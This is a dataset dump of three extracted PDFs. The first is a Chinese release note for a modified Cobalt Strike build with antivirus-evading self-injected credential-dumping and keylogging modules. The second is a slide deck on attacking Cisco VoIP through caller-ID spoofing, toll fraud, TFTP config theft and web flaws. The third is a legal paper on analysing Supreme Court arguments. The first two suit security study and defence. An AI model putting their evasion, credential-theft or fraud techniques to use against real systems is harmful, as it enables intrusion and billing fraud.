text
stringlengths 100
9.93M
| category
stringclasses 11
values |
---|---|
Attack2Defense星球专属版CobaltStrike发布
IceRiver
经过星球内⼤佬们的不懈努⼒,星球内部专属版CobaltStrike终于开发完成,我们将其命名为
IceRiver。IceRiver主要基于CobaltStrike 4.4 进⾏的⼆次开发,在修复了这个版本的⼀些bug的
同时,扩展了⼀些功能,下⾯进⾏详细介绍:
版本特性清单
修改特征
修改默认登录认证的header标志位数据
修改beacon配置信息的默认XOR密钥
修改配置数据所在堆块的默认值
修改HTTP ua头
修改HTTP Server默认的返回信息
在兼容ForeignHTTP和ForeignHTTPS监听器前提下修改stage uri⽣成算法
增加功能
teamserver添加双因⼦认证
主机统计
self inject模
式:Screenshot,Hashdump,Desktop,Printscreen,ChromeDump,PassTheHash(pth),DcSyn
c,LogonPasswords,NetView(net),KeyLogger,PortScan,PowerShell(powerpick)
setchar:修改返回数据编码
内置winvnc
修复漏洞
修复CVE-2022-23317
修复Range头解析bug
添加双因素认证解决CS teamserver的登录问题
最近群⾥⽹传CS全版本被登录绕过的漏洞:
据我们分析很⼤可能是通过mysql蜜罐读取teamserver的密码。CS的客户端会将你的登录信息
保存到C:\Users\<user>\.aggressor.prop⽂件当中,通过mysql蜜罐直接..\遍历,或者读取
windows的⼀些配置⽂件,从⾥⾯找到系统当中⽤户的home路径,具体可参考⺾⽼师⽂章http
s://www.zcgonvh.com/post/tips_of_arbitrary_file_read_on_windows.html
.aggressor.prop⽂件的保存路径:
client保存的配置信息当中就有teamserver的密码。
如此⼀来,进内⽹后再也不敢随便连接mysql了,万⼀蓝队搞了个mysql透明代理蜜罐,那就好
玩了,听说已经有⼈被搞了…… 但是如何防范?只需要启⽤teamserver双因⼦登录或者
iptables配置⽩名单,前者⽅便⼀点,IceRiver⾃带双因⼦登录功能。
特性说明
teamserver双因⼦登录
teamserver端部署需要⽣成google otp的验证码,⽣成验证码只需要打开client使⽤GenOtp窗
⼝即可完成⽣成。
1. ⾸先运⾏client端,打开GenOtp窗⼝。
2. 点击generate⽣成随机secret key,可以修改account和title信息,这将显示在
Authenticator APP⻚⾯当中。
3. 复制并保存⽣成的secret数据到opt.code⽂件当中。
4. 点击ShowScanQRCode进⼊otp⼆维码扫码⻚⾯,使⽤google的Authenticator APP扫码
将会获得与secret绑定的验证码。
Authenticator显示的验证信息
5. 点击SaveQRCode可以选择保存⼆维码到本地⽂件当中。
6. 部署teamserver时需要将第3步当中保存的otp.code⽂件放到teamserver相同⽬录下,否则
会报错提示找不到验证⽂件,且⽆法登录teamserver
7. 启动teamserver后,在连接⻚⾯除了输⼊其他信息外,在AuthCode处输⼊APP上显示的6
位验证码,点击连接即可。
修改stage uri⽣成算法
当修改MSFURI⽣成算法后,会出现⽆法快速传递会话到MSF当中的情况,就是⽆法直接使⽤
spawn -> foreign http(s) listener传递会话,这⾥为了兼容便捷的传递会话,做了⼀些修改,
可以保证在满⾜⽆法被扫描出stage的情况下,快速传递会话到MSF当中。
self inject模式
开启该模式之
后,Screenshot,Hashdump,Desktop,Printscreen,ChromeDump,pth,DcSync,LogonPasswords,
net,KeyLogger,PortScan,powerpick这些beacon当中需要fork & inject的后渗透模块将会注⼊
到beacon所在的当前进程当中,可以绕过部分杀软对注⼊的拦截,使⽤⽅法与之前的
Attack2DefenseAgent相同,不再赘述。
内置winvnc
不再需要在teamserver端创建third-party⽬录并上传winvnc dll,已经集成进⼊jar包当中。
Range头解析bug
⽼外研究发现的⼀个teamserver的特征,修复完成。
修改HTTP Server默认的返回信息
⽼外研究发现的⼀个teamserver的特征,修复完成。
参考资料
https://www.mdsec.co.uk/2022/07/part-1-how-i-met-your-beacon-overview/
https://www.mdsec.co.uk/2022/07/part-2-how-i-met-your-beacon-cobalt-strike/ | pdf |
www.senseofsecurity.com.au
© Sense of Security 2013
Page ‹#› – 13-Sep-13
Compliance, Protection & Business Confidence
Sense of Security Pty Ltd
!
Sydney
Level 8, 66 King Street
Sydney NSW 2000 Australia
Melbourne
Level 10, 401 Docklands Drv
Docklands VIC 3008 Australia
T: 1300 922 923
T: +61 (0) 2 9290 4444
F: +61 (0) 2 9290 4455
[email protected]
www.senseofsecurity.com.au
ABN: 14 098 237 908
VoIP Wars:
Attack of the Cisco Phones
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Speaker
• Fatih Ozavci
• Senior Security Consultant
• Interests
• VoIP
• Mobile Applications
• Network Infrastructure
!
• Author of Viproy VoIP Penetration Testing Kit
• Public Speaker
• Defcon, BlackHat Arsenal, AusCert, Ruxcon
2
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Viproy VoIP Toolkit
• Viproy is a Vulcan-ish Word that means "Call"
• Viproy VoIP Penetration and Exploitation Kit
• Testing modules for Metasploit, MSF license
• Old techniques, new approach
• SIP library for new module development
• Custom header support, authentication support
• Trust analyser, SIP proxy bounce, MITM proxy, Skinny, VOSS
• Modules
• Options, Register, Invite, Message
• Brute-forcers, Enumerator
• SIP trust analyser,SIP proxy, Fake service
• Skinny analysers, VOSS exploits
3
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Agenda
1. Hosted VoIP Services and Cisco 101
2. Network Infrastructure
3. Cisco Unified Communications Manager
4. IP Phone and Service Management
5. Attacking Desktop and Mobile Clients
4
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Hosted VoIP services
5
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Cisco VoIP environment
• Web based services
• IP Phone services (Cisco, VOSS)
• Tenant client services (VOSS Selfcare)
• Tenant* management services (Cisco HCS)
• VoIP services
• Skinny (SCCP) services for Cisco phones
• SIP services for other tenant phones
• RTP services for media streaming
• PBX/ISDN gateways, network equipment
!
* Tenant => Customer of hosted VoIP service
6
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Goals
• Discover VoIP network configuration, design and
requirements
• Find Voice VLAN and gain access
• Gain access using PC port on IP Phone
• Understand the switching security for:
• Main vendor for VoIP infrastructure
• Network authentication requirements
• VLAN ID and requirements
• IP Phone management services
• Supportive services in use
7
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Protected and isolated?
8
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Switching manipulation
• Attack Types
• PC Ports of the IP phone and handsets
• CDP sniffing/spoofing for Voice VLAN
• DTP and VLAN Trunking Protocol attacks
• ARP spoofing for MITM attacks
• DHCP spoofing & snooping
• Persistent access
• Tapberry Pi
• Tampered phone
• Power over ethernet (PoE)
• 3G/4G for connectivity
9
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Attacking the TFTP server
• Obtaining configuration files for MAC addresses
• SEPDefault.cnf, SEPXXXXXXXXXXXX.cnf.xml
• SIPDefault.cnf, SIPXXXXXXXXXXXX.cnf.xml
• Identifying SIP, Skinny, RTP and web settings
• Finding IP phone software and updates
• Configuration files may contain credentials
• Digital signature/encryption usage for files
!
!
!
Tip: TFTPTheft, Metasploit, Viproy TFTP module
10
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Configuration file content
• <deviceProtocol>SCCP</deviceProtocol>!
• <sshUserId></sshUserId>!
• <sshPassword></sshPassword>!
!
• <webAccess>1</webAccess>!
• <settingsAccess>1</settingsAccess>!
• <sideToneLevel>0</sideToneLevel>!
• <spanToPCPort>1</spanToPCPort>!
• <sshAccess>1</sshAccess>!
!
• <phonePassword></phonePassword>
11
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Becoming the TFTP server
• Send fake configurations for
• HTTP server
• IP phone management server
• SIP server and proxy
• Skinny server
• RTP server and proxy
• Deploy SSH public keys for SSH on IP Phones
• Update custom settings of IP Phones
• Deploy custom OS update and code execution
!
Tip: Metasploit TFTP & FakeDNS servers, Viproy MITM proxy
12
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Unified Communications
• Forget TDM and PSTN
• SIP, Skinny, H.248, RTP, MSAN/MGW
• Smart customer modems & phones
!
• Cisco UCM
• Linux operating system
• Web based management services
• VoIP services (Skinny, SIP, RTP)
• Essential network services (TFTP, DHCP)
• Call centre, voicemail, value added services
13
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Discovering VoIP servers
• Looking for
• Signalling servers (e.g. SIP, Skinny, H.323, H.248)
• Proxy servers (e.g. RTP, SIP, SDP)
• Contact Centre services
• Voicemail and email integration
• Call recordings, call data records, log servers
!
• Discovering
• Operating systems, versions and patch level
• Management services (e.g. SNMP, Telnet, HTTP, SSH)
• Weak or default credentials
14
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Attacking SIP services
• Essential analysis
• Registration and invitation analysis
• User enumeration, brute force for credentials
• Discovery for SIP trunks, gateways and trusts
• Caller ID spoofing (w/wo register or trunk)
!
• Advanced analysis
• Finding value added services and voicemail
• SIP trust hacking
• SIP proxy bounce attack
15
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Cisco specific SIP registration
• Extensions (e.g. 1001)
• MAC address in Contact field
• SIP digest authentication (user + password)
• SIP x.509 authentication
• All authentication elements must be valid!
!
• Good news, we have SIP enumeration inputs!
Warning: 399 bhcucm "Line not configured”
Warning: 399 bhcucm "Unable to find device/user in database"
Warning: 399 bhcucm "Unable to find a device handler for the
request received on port 52852 from 192.168.0.101”
Warning: 399 bhcucm "Device type mismatch"
16
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Register and Subscribe
17
Register / Subscribe (FROM, TO, Credentials)
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Invite, CDR and Billing tests
18
Invite / Ack / Re-Invite / Update (FROM, TO, VIA, Credentials)
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
SIP Proxy Bounce attack
19
SIP Proxy Bounce Attacks
• SIP trust relationship hacking
• Attacking inaccessible servers
• Attacking the SIP software and protocol
• Software, Version, Type, Realm
192.168.1.146
Melbourne
192.168.1.202
Brisbane
192.168.1.145 - Sydney
Production SIP Service
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Denial of Service attacks
20
SIP based DoS attacks
• UDP vulnerabilities and IP spoofing
• Too many errors, very very verbose mode
• ICMP errors
192.168.1.146
Melbourne
192.168.1.202
Brisbane
192.168.1.145 - Sydney
Production SIP Service
Alderaan
IP spoofed UDP SIP request
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Hacking SIP trust relationships
21
Send INVITE/MESSAGE requests with
• IP spoofing (source is Brisbane),
• from field contains Spoofed IP and Port,
the caller ID will be your trusted host.
IP spoofed UDP SIP request
From field has IP and Port
192.168.1.146
Melbourne
192.168.1.202
Brisbane
192.168.1.145 - Sydney
Production SIP Service
UDP Trust
Universal
Trust
Tatooine
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Attacking a client using SIP trust
22
IP spoofed UDP SIP request
From field has bogus characters
192.168.1.146
Melbourne
192.168.1.202
Brisbane
192.168.1.145 - Sydney
Production SIP Service
UDP Trust
Universal
Trust
Tatooine
It’s a TRAP!
Send INVITE/MESSAGE requests with
• IP spoofing (source is Brisbane),
• from field contains special number,
you will have fun or voicemail access.
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Toll fraud for CUCM
• Cisco UCM accepts MAC address as identity
• No authentication (secure deployment?)
• Rogue SIP gateway with no authentication
• Caller ID spoofing with proxy headers
• Via field, From field
• P-Asserted-Identity, P-Called-Party-ID
• P-Preferred-Identity
• ISDN Calling Party Number, Remote-Party-ID
• Billing bypass with proxy headers
• P-Charging-Vector (Spoofing, Manipulating)
• Re-Invite, Update (With/Without P-Charging-Vector)
23
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Caller ID spoofing on CUCM
Remote-Party-ID header
Remote-Party-ID: <sip:[email protected]>;party=called;screen=yes;privacy=off
!
What for?
• Caller ID spoofing
• Billing bypass
• Accessing voicemail
• 3rd party operators
24
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Caller ID fraud for all operators?
• Telecom operators trust source Caller ID
• One insecure operator to rule them all
25
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Fake Caller ID for messages?
• Call me back function on voicemail / calls
• Sending many spoofed messages for DoS
• Overseas? Roaming?
• Social engineering (voicemail notification)
• Value added services
• Add a data package to my line
• Subscribe me to a new mobile TV service
• Reset my password/PIN/2FA
• Group messages, celebrations
26
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
SIP advanced attacks demo
27
Video Demonstration
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Attacking Skinny services
• Cisco Skinny (SCCP)
• Binary, not plain text
• Different versions
• No authentication
• MAC address is identity
• Auto registration
!
• Basic attacks
• Register as a phone
• Disconnect other phones
• Call forwarding
• Unauthorised calls
28
Source: Cisco
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Attacking Skinny services
29
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Attacking Skinny services
Viproy has a Skinny library for easier
development and sample attack
modules
• Skinny auto registration
• Skinny register
• Skinny call
• Skinny call forwarding
30
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Attacking Skinny services
Everybody can develop a Skinny module now, even Ewoks!
!
Register
Unauthorised Call
31
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Preparing a proper client for Skinny
• Install Cisco IP Communicator
• Change the MAC address of Windows
• Register the software with this MAC
32
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Skinny register attack demo
33
Video Demonstration
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Skinny call attack demo
34
Video Demonstration
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Skinny call forwarding demo
35
Video Demonstration
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Cisco HCS
• Cisco UC Domain Manager
• VOSS IP Phone XML services
• VOSS Self Care customer portal
• VOSS Tenant services administration
!
• Cisco Unified Communications Manager
• Cisco Enterprise License Manager
• Cisco VTG Interface
• Cisco UCM – Dialed Number Analyzer
• Cisco Unified Operating System Administration
• Cisco Unified Serviceability
• Cisco Unified Reporting
• Cisco Unified CM CDR Analysis and Reporting
36
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
VOSS Self Care
Tenant user services
• Password & PIN management
• Voicemail configuration
• Presence
• Corporate Directory access
• Extension mobility
!
Weaknesses
• Privilege escalation vulnerabilities
• Cross-site scripting vulnerabilities
37
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Account details stored XSS
38
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
VOSS administration
• Tenant administration services
• User management
• Location and dial plan management
• CLI and number translation configuration
!
Weaknesses
• User enumeration
• Privilege escalation vulnerabilities
• Cross-site scripting vulnerabilities
• SQL injections and SOAP manipulations
39
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Errors, Information Leakage
/emapp/EMAppServlet?device=USER
!
!
!
!
/bvsm/iptusermgt/disassociateuser.cgi
40
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Insecure File Upload
/bvsm/iptbulkadmin
/bvsm/iptbulkloadmgt/bulkloaduploadform.cgi
41
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Privilege Escalation
/bvsm/iptusermgt/moduser.cgi (stored XSS, change users’ role)
/bvsm/iptadminusermgt/adduserform.cgi?user_type=adminuser
!
!
!
!
!
/bvsm/iptnumtransmgt/editnumbertranslationform.cgi?id=1
!
42
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
IP Phone management
VOSS IP Phone XML services
• Shared service for all tenants
• Call forwarding (Skinny has, SIP has not)
• Speed dial management
• Voicemail PIN management
43
Services
• speeddials
• changepinform
• showcallfwd
• callfwdmenu
Actions
• CallForwardAll
• CallForwardBusy
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
IP Phone management
• Authentication and Authorisation free!
• MAC address is sufficient
• Jailbreaking tenant services
!
• Viproy Modules
• Call Forwarding
• Speed Dial
44
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
VOSS call forwarding demo
45
Video Demonstration
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
VOSS speed dial demo
46
Video Demonstration
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
VoIP client security
• Different Client Types
• Mobile, Desktop, Teleconference, Handsets
• Information Disclosure
• Unnecessary services and ports (SNMP, FTP)
• Weak management services (Telnet, SSH, HTTP)
• Stored credentials and sensitive information
• Unauthorised Access
• Password or TFTP attacks, enforced upgrades
• Weak VoIP Services
• Clients may accept direct invite, register or notify
47
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Cisco VoIP clients
• Cisco IP Phones
• Cisco IP Communicator
• Cisco Unified Personal Communicator
• Cisco Webex Client
• Cisco Jabber services
• Cisco Jabber Voice/Video
• IM for 3rd party clients
• Mobile, desktop, Mac
• Jabber SDK for web
48
Source: www.arkadin.com
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Rogue services and DSITM
• Use ARP/DNS Spoof & VLAN hopping & Manual config
• Collect credentials, hashes, information
• Change client's request to add a feature (e.g. Spoofing)
• Change the SDP features to redirect calls
• Add a proxy header to bypass billing & CDR
• Manipulate request at runtime to find BoF vulnerabilities
• Trigger software upgrades for malwared executables
49
Death Star in the Middle
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Attacking a client using SIP service
• Caller ID spoofed messages
• to install a malicious application or an SSL certificate
• to redirect voicemails or calls
• Fake caller ID for Scam, Vishing or Spying
• Manipulate the content or content-type on messaging
• Trigger a crash/BoF on the remote client
• Inject cross-site scripting to the conversation
!
• Proxies with TLS+TCP interception and manipulation
• Em-proxy (github.com/fozavci/em-proxy)
• MITMproxy
50
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Traffic manipulation as DSITM
51
Video demo for custom protocols attacks
• force upgrade ???
• initiate a call ???
• call voip extension/plugin through browser using html ???
!
!
!
Video Demonstration
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Attacking a client using SIP trust
• SIP server redirects a few fields to client
• FROM, FROM NAME, Contact
• Other fields depend on server (e.g. SDP, MIME)
• Message content
• Clients have buffer overflow in FROM?
• Send 2000 chars to test it !
• Crash it or execute your shellcode if available
• Clients trust SIP servers and trust is UDP based
• Trust hacking module can be used for the trust between
server and client too.
• Viproy Penetration Testing Kit SIP Modules
• Simple fuzz support (FROM=FUZZ 2000)
• You can modify it for further attacks
52
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Attacking a client using SIP trust
53
IP spoofed UDP SIP request
From field has bogus characters
192.168.1.146
Melbourne
192.168.1.202
Brisbane
192.168.1.145 - Sydney
Production SIP Service
UDP Trust
Universal
Trust
Tatooine
Crash!
Adore iPhone App
Send INVITE/MESSAGE requests with
• IP spoofing (source is Brisbane),
• from field contains exploit,
the client will be your stormtrooper.
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Attacking a client using SIP service
54
Video demo for SIP based client attacks
• Manipulating instant messaging between clients
• Initiate a call using fake Caller ID
• Send a fake message from the Operator
• Send bogus message to crash
• Send too many calls and create a crash
!
Video Demonstration
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Solutions
• Install the Cisco security patches
• From CVE-2014-3277 to CVE-2014-3283
• CSCum75078, CSCun17309, CSCum77041,
CSCuo51517, CSCum76930, CSCun49862
• Secure network design
• IP phone services MUST be DEDICATED, not SHARED
• Secure deployment with PKI
• Authentication with X.509, software signatures
• Secure SSL configuration
• Secure protocols
• Skinny authentication, SIP authentication
• HTTP instead of TFTP, SSH instead of Telnet
55
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
References
• Viproy Homepage and Documentation
http://www.viproy.com
!
• Attacking SIP servers using Viproy VoIP Kit
https://www.youtube.com/watch?v=AbXh_L0-Y5A
!
• VoIP Pen-Test Environment – VulnVoIP
http://www.rebootuser.com/?cat=371
!
• Credit and thanks go to…
Jason Ostrom, Mark Collier, Paul Henry, Sandro Gauci
56
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
Questions ?
57
www.senseofsecurity.com.au © Sense of Security 2014
Page of 58 – Aug-14
58
Thank you
Recognised as Australia’s fastest growing information security and
risk management consulting firm through the Deloitte Technology
Fast 50 & BRW Fast 100 programs
Head office is level 8, 66 King Street, Sydney, NSW 2000, Australia.
Owner of trademark and all copyright is Sense of Security Pty Ltd.
Neither text or images can be reproduced without written
permission.
T: 1300 922 923
T: +61 (0) 2 9290 4444
F: +61 (0) 2 9290 4455
[email protected]
www.senseofsecurity.com.au | pdf |
Can Homegrown Information Analysis Tools Help Us Make
Better Predictions about the Outcome of Supreme Court Cases?
Foofus
Table of Contents
Introduction..........................................................................................................................................1
Gathering Argument Data via the Web.................................................................................................2
Technical Background.....................................................................................................................2
Interacting with the Oyez Web Server.............................................................................................4
Limitations.......................................................................................................................................5
The Justices..........................................................................................................................................7
Anthony Kennedy............................................................................................................................8
Scorecard.....................................................................................................................................8
Discussion...................................................................................................................................8
Antonin Scalia................................................................................................................................10
Scorecard...................................................................................................................................10
Discussion ................................................................................................................................10
Clarence Thomas...........................................................................................................................12
Scorecard...................................................................................................................................12
Discussion.................................................................................................................................12
Elena Kagan...................................................................................................................................13
Scorecard...................................................................................................................................13
Discussion.................................................................................................................................13
John G. Roberts, Jr.........................................................................................................................14
Scorecard...................................................................................................................................14
Discussion.................................................................................................................................14
Ruth Bader Ginsburg.....................................................................................................................15
Scorecard...................................................................................................................................15
Discussion.................................................................................................................................15
Samuel A. Alito, Jr.........................................................................................................................17
Scorecard...................................................................................................................................17
Discussion.................................................................................................................................17
Sonia Sotomayor............................................................................................................................18
Scorecard...................................................................................................................................18
Stephen G. Breyer..........................................................................................................................20
Scorecard...................................................................................................................................20
Discussion.................................................................................................................................20
The Court As a Whole........................................................................................................................21
Case Outcomes..............................................................................................................................21
Decisional Patterns........................................................................................................................22
Concluding Thoughts.........................................................................................................................23
Introduction
In 2005, Professor Jay Wexler of Boston University published an article in which
he purported to identify the funniest sitting United States Supreme Court justice by reviewing
transcripts of oral arguments and counting the number of times the record reflected laughter.1
On the surface, this short and enjoyable article seems frivolous, but it raises an interesting
possibility. Specifically, although the bulk of Supreme Court punditry focuses on specific cases
or arguments, it is possible to learn things about the justices by aggregate analysis of oral
arguments. Such an approach will never be a substitute for analysis of policy or legal theory: it
is issue-neutral. That characteristic, however, is also a strength: the possibility of spotting
patterns or trends in the way the justices interact might be useful in cases where an individual
justice’s opinion is in doubt, or where it is desirable to counterbalance possible preconceptions
of the part of the analyst. At the very least, sifting through the complete library of arguments
heard by members of the current court can give outsiders a better-rounded view of
interactions on the court by placing any given oral argument in a broader context.
This paper presents a first attempt at such analysis, using materials available
from the Oyez Project.2 The research consisted of three major phases: development of software
tools to facilitate the collection and organization of Supreme Court argument materials, the
actual use of those tools to harvest data for every case heard by a currently sitting member of
the Supreme Court, and the analysis and presentation of that material. The goal was to study
whether it is feasible to draw inferences either about some individual justices or about the
court as a whole based simply on numerical analysis of case data. The question of whether any
of the justices have mannerisms at oral argument that telegraph their votes is a complex one,
and this paper admittedly only scratches the surface of the topic. Nevertheless, even in the
context of this research, it is possible to observe, for at least four justices, patterns in their
1
Jay D. Wexler, Laugh Track, 9 GREEN BAG 2d 59.
2
See, http://www.oyez.org (last visited May 12, 2011).
-1-
interactions with the advocates that correlate with their eventual votes.
Gathering Argument Data via the Web
Before addressing the specifics of the Oyez web site, a brief explanation of the
underlying technology involved is warranted to ensure that the reader is acquainted with the
necessary terms, and can better understand the process involved.
Technical Background
The World Wide Web is a collection of Internet-connected systems sharing data3
via the Hypertext Transfer Protocol (HTTP). Most users experience the Internet by using a web
browser.4 In this context, a web browser is a piece of software that sends HTTP requests for web
resources (documents, images, video, etc.) to various web servers which respond to these
requests by furnishing the requested materials, again via HTTP. For the purposes of this
discussion, the inner details of HTTP are unimportant, it is enough to understand that HTTP is
a simple request-response protocol: a client (usually a web browser) issues a request, the server
responds, and the transaction is complete. The figure below is a transcript of a simple HTTP
conversation: a client requests a document,5 and the server returns it. The text in bold is issued
by the client, and the remainder is the server’s response.
3
In re Doubleclick Privacy Litig., 154 F. Supp. 2d 497, 501 (S.D.N.Y. 2001)
4
Currently popular web browsers include Internet Explorer, Firefox, Chrome, Safari, and Opera, but there have
been others, such as Netscape Navigator and Mosaic.
5
See http://www.foofus.net/foofus/test.html (last visited April 30, 2011); the reader is invited to visit this URL in
order to see the page rendered in an actual web browser.
-2-
Simple HTTP Transaction with the www.foofus.net Web Server
GET /foofus/test.html HTTP/1.0
HTTP/1.1 200 OK
Date: Sun, 25 Apr 2010 15:38:50 GMT
Server: Apache/2.2.3 (Unix) PHP/5.2.0 mod_ssl/2.2.3 OpenSSL/0.9.8l
Last-Modified: Sun, 25 Apr 2010 15:38:03 GMT
ETag: "2eb83e-57-7227ecc0"
Accept-Ranges: bytes
Content-Length: 87
Connection: close
Content-Type: text/html
<HTML>
<HEAD><TITLE>Test Page</TITLE></HEAD>
<BODY>This is a test page</BODY>
</HTML>
The web server’s response begins with a set of “headers:” information about the
response itself. The headers let the browser know that the client's request will be honored (the
“200 OK” response code), the type of web server software in use (Apache),6 the date end time of
the transaction, and some facts about the response itself: the length of the response (87 bytes),
and what the response consists of (an HTML document), which begins after the blank line.
HTML stands for HyperText Markup Language,7 a standard for describing both the form and
the content of a web page. In the example above, the underlined and italicized portions of the
document are HTML “tags” used to describe the layout of the web page (in this case, which
portions constitute the title, to be shown in the web browser’s title bar, and which portions
constitute the body of the document, to be displayed in the browser’s main window).8 The same
fundamental transaction is played out behind the scenes of every web surfing session: the web
browser requests some material from a web server, the web server returns a block of data that
describes both the information to be presented to the user and the format in which the
6
See http://www.apache.org/ (last visited April 30, 2011).
7
See http://www.w3.org/wiki/HTML (last visited April 30, 2011)
8
HTML tags can also describe links, images, forms, and a variety of other document types that might be
embedded in web pages.
-3-
information should be presented, and the web browser renders the content for the user in the
manner directed.
Interacting with the Oyez Web Server
The oyez.org web site provides a facility for the public to review the activities of
the United States Supreme Court. Specifically, it allows users to browse the docket for any
given term, view a summary of each case, and even listen to the oral arguments (and in some
cases also opinion announcements9). As an added feature, the site provides an “expanded view”
of the oral argument, which displays the transcript of the oral arguments synchronized with
the original audio. Oral argument transcripts are stored as XML files.10 XML is a specification
similar to HTML, except its intent is to make content more easily accessible to programs, rather
than human readers.11
In order to gather the necessary underlying data for this research, two programs
were developed in the perl programming language.12 Each of these programs basically
automates a set of actions that could be taken by a human being with a web browser, and
records the results. The first program systematically downloads the court’s complete docket
for a given year. Its output is a file containing a list of cases; for each case it records the
caption, docket number, argument date, decision date, majority decision author, and the vote
split. Using this program, it was possible to make a master docket list of all cases heard by since
Justice Scalia was elevated to the court in 1986 up to April 30, 2011.13
The second program is more complex: it takes the master docket file and a list of
9
See, e.g., The Oyez Project, Tison v. Arizona, 481 U.S. 137 (1987)
available at: (http://oyez.org/cases/1980-1989/1986/1986_84_6075) (last visited Saturday, May 7, 2011).
10 See http://www.w3.org/XML/ (last visited on May 12, 2011).
11 The files are intended to be parsed by the oral argument display applet that allows those listening to an
argument to follow along with the text, but the they are just as easily parsed by other software, such as that
created in the course of this study.
12 See http://www.perl.org/ (last visited on April 30, 2011).
13 This cutoff date is arbitrary, but it was important at some point to stop merely collecting data and to begin
analyzing it.
-4-
the current justices as inputs and constructs a series of web requests. There are three main
outputs:
1. For each case, the program creates a file whose contents reflect whether
the petitioner or the respondent prevailed, how each justice voted, the
citation, and who the advocates for each party were.
2. For each justice, the program creates several files: a list of cases in which
the justice participated, a list of cases the in which the justice did not
participate, a list of cases in which the justice voted with the majority, a
list of cases in which the justice voted with the minority, and lists of cases
in which the justice wrote a concurrence, dissent, or joined another
justice’s concurrence or dissent.
3. The transcript file for the case’s oral argument.
The net result is a complete collection of each justice’s voting record, along with results and
oral argument transcripts for every case heard by any combination of the current members of
the United States Supreme Court.
Some efforts were required to account for inconsistencies in the data: Oyez is not
completely faithful to its naming conventions (e.g., in the oral argument transcript files, Justice
Roberts is sometimes referred to as “John_G_Roberts” and sometimes as “john_g_roberts_jr;”
Justice Sotomayor is alternately “justice_sotomayor” or “sonia_sotomayor,” and so forth).
Likewise, some justices (e.g., John Roberts and Elena Kagan) appeared in transcripts as
advocates before they were elevated to the court.
Limitations
There are a number of important limitations affecting data gathered in this way.
The first and most obvious has already been mentioned: this analysis places no weight
-5-
whatsoever on the merits of the case at bar, the issues at stake, or the briefs submitted. It
makes no sense to think that cases are decided without attention to these factors, and as a
result, the findings presented here represent a form of insight into Supreme Court
decision-making that is untethered to the issues surrounding any particular case.
Second, for the purposes of this research, we are accepting Oyez’s analysis of
which party prevailed in the case. For example, a case might present several questions, some of
which the court might answer in favor of the petitioner, and some in favor of the respondent,
making it at least somewhat unclear which party has “won.” A more nuanced analysis might
take the nature of the issues into account, but that is too complex an undertaking for this
effort.
The data from Oyez are also not 100% uniform, and this presents a technical
problem. When parsing the oral argument files, the only way to decide whether a justice’s
question is asked of the petitioner or the respondent is by the name of the advocate to whom
the question is addressed. The Oyez pages summarizing a case name the advocates, but in some
